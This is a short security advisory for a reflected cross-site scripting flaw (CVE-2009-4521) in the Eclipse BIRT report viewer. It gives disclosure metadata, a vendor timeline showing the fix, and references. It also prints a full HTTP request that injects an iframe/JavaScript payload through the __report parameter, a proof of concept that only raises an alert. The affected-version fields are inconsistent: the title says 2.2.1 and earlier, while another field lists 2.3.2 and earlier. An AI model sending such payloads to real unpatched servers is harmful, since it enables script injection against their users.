Topic : | Eclipse BIRT <= 2.2.1 Reflected XSS
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SecurityAlert : 6902
CVE : CVE-2009-4521
CWE : CWE-79
SecurityRisk : Low (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : Yes
Exploit Available : Yes
Credit : Michele Orru
Published : 02.01.2010
Affected Software : | eclipse:birt:2.3.2 and previous versions |
 Advisory Content : Eclipse BIRT <= 2.2.1 Reflected XSS
Vendor: Eclipse
Advisory: http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss/
Author: Michele "euronymous" Orrù (euronymous AT antisnatchor DOT
com)
Quite a common problem in a lot of Java based applications: reflected
XSS in Java stack trace.
A Reflected XSS is present in the _report parameter: here below the
modified
request (that is the BIRT 2.2.1 version included in Konakart 2.2.6)
GET
/birt-viewer/run?__report='"><iframe%20src=javascript:alert(666)>&r=-703
171660
HTTP/1.1
Host: localhost:8780
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18)
Gecko/20081029 Firefox/2.0.0.18
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://localhost:8780/konakartadmin/
Konakart is actually using org.eclipse.birt.core_2.2.1.r22x_v20070924, that
is
actually old.
- Disclosure timeline:
2008-12-17 11:04:15 EST : Vendor Contacted
2009-02-11 03:39:09 EST: Bug fix
2009-03-09 05:32:42 EDT: Patches verified on 2.5.0
- CREDITS
Michele "euronymous" Orru'
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References :
http://xforce.iss.net/xforce/xfdb/53773
https://bugs.eclipse.org/bugs/show_bug.cgi?id=259127
http://www.securityfocus.com/bid/36674
http://www.securityfocus.com/archive/1/archive/1/507172/100/0/threaded
http://www.osvdb.org/58941
http://secunia.com/advisories/37025
http://antisnatchor.com/2008/12/18/eclipse-birt-reflected-xss
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